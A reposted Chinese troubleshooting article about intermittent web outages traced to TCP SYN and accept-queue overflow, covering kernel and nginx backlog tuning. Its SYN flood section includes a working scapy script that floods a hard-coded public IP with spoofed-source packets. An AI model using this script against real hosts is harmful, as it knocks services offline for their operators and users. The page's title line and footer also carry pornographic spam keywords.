色哟哟视频在线观看-色哟哟视频在线-色哟哟欧美15最新在线-色哟哟免费在线观看-国产l精品国产亚洲区在线观看-国产l精品国产亚洲区久久

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

TCP半連接隊列和全連接隊列的可能和出現問題和解決方案

馬哥Linux運維 ? 來源:未知 ? 作者:易水寒 ? 2018-05-19 10:52 ? 次閱讀

問題描述

監控系統發現電商網站主頁及其它頁面間歇性的無法訪問;

查看安全防護和網絡流量、應用系統負載均正常;

系統重啟后,能夠暫時解決,但持續一段時間后間歇性問題再次出現。

此時問題已影響到整個網站的正常業務,我那個心驚呀,最主要是報警系統沒有任何報警,服務運行一切正常,瞬時背上的汗已經出來了。但還是要靜心,來仔細尋找蛛絲馬跡,來一步一步找問題。

問題初步判斷

檢查dev 和 網卡設備層,是否有error和drop ,分析在硬件和系統層是否異常 ----- 命令 cat /proc/net/dev 和 ifconfig

觀察socket overflow 和 socket droped(如果應用處理全連接隊列(accept queue)過慢 socket overflow,影響半連接隊列(syn queue)溢出socket dropped)-----命令 netstat -s |grep -i listen

TCP半連接隊列和全連接隊列的可能和出現問題和解決方案

發現SYN socket overflow 和 socket droped 急增加

檢查sysctl內核參數:backlog ,somaxconn,file-max 和 應用程序的backlog ;

ss -lnt查詢,SEND-Q會取上述參數的最小值

發現當時隊列已經超過網站80端口和443端口默認值

檢查 selinux 和 NetworkManager 是否啟用 ,建議禁用;

檢查timestap ,reuse 啟用,內核recycle是否啟用,如果過NAT,禁用recycle;

抓包判斷請求進來后應用處理的情況,是否收到SYN未響應情況。

深入分析問題

正常TCP建連接三次握手過程:

第一步:客戶端 發送 syn 到 服務端發起握手;

第二步:服務端 收到 syn后回復syn+ack給 客戶端;

第三步:客戶端 收到syn+ack后,回復 服務端一個ack表示收到了 服務端的syn+ack 。

從描述的情況來看,TCP建連接的時候全連接隊列(accept隊列)滿了,尤其是描述中癥狀為了證明是這個原因。反復看了幾次之后發現這個overflowed 一直在增加,那么可以明確的是server上全連接隊列一定溢出了。

接著查看溢出后,OS怎么處理:

# cat /proc/sys/net/ipv4/tcp_abort_on_overflow0

tcp_abort_on_overflow 為0表示如果三次握手第三步的時候全連接隊列滿了那么server扔掉client 發過來的ack(在server端認為連接還沒建立起來)

為了證明客戶端應用代碼的異常跟全連接隊列滿有關系,我先把tcp_abort_on_overflow修改成 1,1表示第三步的時候如果全連接隊列滿了,server發送一個reset包給client,表示廢掉這個握手過程和這個連接(本來在server端這個連接就還沒建立起來)。

接著測試然后在web服務日志中異常中可以看到很多connection reset by peer的錯誤,到此證明客戶端錯誤是這個原因導致的。

查看sysctl內核參數:backlog ,somaxconn,file-max 和 nginx的backlog配置參數,ss -ln取最小值,發現為128,此時resv-q已經在129 ,請求被丟棄。將上述參數修改,并進行優化:

linux內核參進行優化:net.ipv4.tcp_syncookies = 1net.ipv4.tcp_max_syn_backlog = 16384net.core.somaxconn = 16384

nginx 配置參數優化:backlog=32768;

利用python 多線程壓測,并未發現新的問題:

import requests from bs4 import BeautifulSoupfrom concurrent.futures import ThreadPoolExecutorurl='https://www.wuage.com/'response=requests.get(url)soup=BeautifulSoup(response.text,'html.parser')with ThreadPoolExecutor(20) as ex: for each_a_tag in soup.find_all('a'): try: ex.submit(requests.get,each_a_tag['href']) except Exception as err: print('return error msg:'+str(err))

理解TCP握手過程中建連接的流程和隊列

TCP半連接隊列和全連接隊列的可能和出現問題和解決方案

如上圖所示,這里有兩個隊列:syns queue(半連接隊列);accept queue(全連接隊列)

三次握手中,在第一步server收到client的syn后,把相關信息放到半連接隊列中,同時回復syn+ack給client(第二步);

第三步的時候server收到client的ack,如果這時全連接隊列沒滿,那么從半連接隊列拿出相關信息放入到全連接隊列中,否則按tcp_abort_on_overflow指示的執行。

這時如果全連接隊列滿了并且tcp_abort_on_overflow是0的話,server過一段時間再次發送syn+ack給client(也就是重新走握手的第二步),如果client超時等待比較短,就很容易異常了。

sYN Flood洪水攻擊

當前最流行的DoS(拒絕服務攻擊)與DDoS(分布式拒絕服務攻擊)的方式之一,這是一種利用TCP協議缺陷,導致被攻擊服務器保持大量SYN_RECV狀態的“半連接”,并且會重試默認5次回應第二個握手包,塞滿TCP等待連接隊列,資源耗盡(CPU滿負荷或內存不足),讓正常的業務請求連接不進來。

from concurrent.futures import ThreadPoolExecutorfrom scapy.all import *def synFlood(tgt,dPort): srcList = ['11.1.1.2','22.1.1.102','33.1.1.2', '125.130.5.199'] for sPort in range(1024, 65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags='S') packet = ipLayer/tcpLayer send(packet)tgt = '139.196.251.198'print(tgt)dPort = 443with ThreadPoolExecutor(10000000) as ex: try: ex.submit(synFlood(tgt,dPort)) except Exception as err: print('return error msg:' + str(err))

所以大家要對TCP半連接隊列和全連接隊列的問題很容易被忽視,但是又很關鍵,特別是對于一些短連接應用更容易爆發。

出現問題后,從網絡流量、cpu、線程、負載來看都比較正常,在用戶端來看rt比較高,但是從服務器端的日志看rt又很短。如何避免在出現問題時手忙腳亂,建立起應急機機制,后續有機會寫一下應急方面的文章。

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • 監控系統
    +關注

    關注

    21

    文章

    3939

    瀏覽量

    176448
  • TCP
    TCP
    +關注

    關注

    8

    文章

    1378

    瀏覽量

    79218
  • 安全防護
    +關注

    關注

    0

    文章

    60

    瀏覽量

    13565

原文標題:記一次驚心的網站 TCP 隊列問題排查經歷

文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    FIFO隊列原理簡述

    FIFO是隊列機制中最簡單的,每個接口上只有一個FIFO隊列,表面上看FIFO隊列并沒有提供什么QoS保證,甚至很多人認為FIFO嚴格意義上不算做一種隊列技術,實則不然,FIFO是其它
    發表于 07-10 09:22 ?1700次閱讀

    Linux TCP隊列相關參數的總結

    在Linux上做網絡應用的性能優化時,一般都會對TCP相關的內核參數進行調節,特別是和緩沖、隊列有關的參數。很多文章會告訴你需要修改哪些參數,但我們經常是知其然而不知其所以然,每次照抄過來后,可能很快就忘記或混淆了它們的含義。
    發表于 10-30 10:12 ?1090次閱讀
    Linux <b class='flag-5'>TCP</b><b class='flag-5'>隊列</b>相關參數的總結

    TCP隊列引用問題

    labview中如何將隊列中的TCP網絡連接讀取出來,我知道是要用元素出隊列這個函數,但是不知道在輸出的元素端口后面接什么控件可以將隊列中的
    發表于 04-27 16:02

    關于隊列的問題

    畫著叉叉的線應該連接什么控件才能將隊列里的TCP網絡連接輸出呢?
    發表于 04-27 19:51

    LabVIEW2018 TCP Server 利用隊列連接多個客戶端

    TCP Server 端利用隊列連接多個客戶端
    發表于 06-14 22:51

    Agilent TCP隊列管理

    TCP隊列管理
    發表于 10-31 09:08

    labview隊列 出現隊列或者出隊列問題

    最近在labview操作中出現了一個隊列操作的問題,一入隊列就出錯,憋了好幾天,今天終于解決了。首先,介紹一下我的程序。如圖1,一個while循環加一個條件選擇框,用main queue和Q3這兩個
    發表于 03-26 17:29

    RTOS消息隊列的多種用途

      消息隊列可以以多種不同的方式使用。事實上,您可以編寫可能只使用消息隊列的相當復雜的應用程序。僅使用消息隊列可以減少代碼的大小(即占用空間),因為可以模擬許多其他服務(信號量、時間延
    的頭像 發表于 06-29 14:57 ?2598次閱讀
    RTOS消息<b class='flag-5'>隊列</b>的多種用途

    沒有accept,能建立TCP連接嗎?

    服務端代碼,對socket執行bind方法可以綁定監聽端口,然后執行listen方法后,就會進入監聽(LISTEN)狀態。內核會為每一個處于LISTEN狀態的socket 分配兩個隊列,分別叫連接
    的頭像 發表于 08-05 10:37 ?841次閱讀

    SystemVerilog中的隊列

    隊列是大小可變的有序集合,隊列中元素必須是同一個類型的。隊列支持對其所有元素的訪問以及在隊列的開始或結束處插入和刪除。
    的頭像 發表于 10-31 10:09 ?4129次閱讀

    什么是消息隊列?消息隊列中間件重要嗎?

    應用解耦:消息隊列減少了服務之間的耦合性,不同的服務可以通過消息隊列進行通信,而不用關心彼此的實現細節。
    的頭像 發表于 11-07 14:55 ?1463次閱讀

    嵌入式環形隊列和消息隊列的實現

    嵌入式環形隊列和消息隊列是實現數據緩存和通信的常見數據結構,廣泛應用于嵌入式系統中的通信協議和領域。
    的頭像 發表于 04-14 11:52 ?1614次閱讀

    RTOS消息隊列的應用

    基于RTOS的應用中,通常使用隊列機制實現任務間的數據交互,一個應用程序可以有任意數量的消息隊列,每個消息隊列都有自己的用途。
    發表于 05-29 10:49 ?651次閱讀
    RTOS消息<b class='flag-5'>隊列</b>的應用

    FreeRTOS消息隊列介紹

    隊列是為了任務與任務、任務與中斷之間的通信而準備的,可以在任務與任務、任務與中斷之間傳遞消息,隊列中可以存儲有限的、大小固定的數據項目。任務與任務、任務與中斷之間要交流的數據保存在隊列中,叫做
    的頭像 發表于 07-06 16:58 ?844次閱讀
    FreeRTOS消息<b class='flag-5'>隊列</b>介紹

    嵌入式環形隊列與消息隊列的實現原理

    嵌入式環形隊列,也稱為環形緩沖區或循環隊列,是一種先進先出(FIFO)的數據結構,用于在固定大小的存儲區域中高效地存儲和訪問數據。其主要特點包括固定大小的數組和兩個指針(頭指針和尾指針),分別指向隊列的起始位置和結束位置。
    的頭像 發表于 09-02 15:29 ?628次閱讀
    主站蜘蛛池模板: GAY东北澡堂激情2022 | 97在线国内自拍视频 | 俄罗斯mm| 久久影院中文字幕 | 国产精品一区二区三区四区五区 | 中文无码第3页不卡av | 亚洲AV蜜桃永久无码精品无码网 | 精品无码久久久久久久久 | 久就热视频精品免费99 | 中国二级毛片 | 亚洲精品无码一区二区三区四虎 | 一二三四在线高清中文版免费观看电影 | 爱情岛aqdlttv| 换脸国产AV一区二区三区 | 一本之道高清在线观看一区 | 精品午夜久久福利大片免费 | 亚洲国产精品久久又爽黄A片 | 国产成久久免费精品AV片天堂 | 奶大B紧17p | 秋霞电影网午夜鲁丝片 | 精品无码国产污污污免费网站2 | 吉吉影音先锋av资源网 | 国产三级多多影院 | 免费完整版观看 | 近亲乱中文字幕 | 扒开老师大腿猛进AAA片 | 香蕉eeww99国产精品 | 成电影人免费网站 | 亚洲精品国产专区91在线 | 欧美日韩国产高清综合二区 | 亚洲欧美日韩在线观看一区二区三区 | 亚洲高清免费在线观看 | 欧美不卡一区二区三区 | 看看妇女的B免费看 | 亚洲午夜久久影院 | 国产无遮挡又黄又爽在线视频 | 色小妹影院 | 国产专区青青草原亚洲 | 亚洲色噜噜狠狠站欲八 | a在线视频免费观看 | 绿巨人www |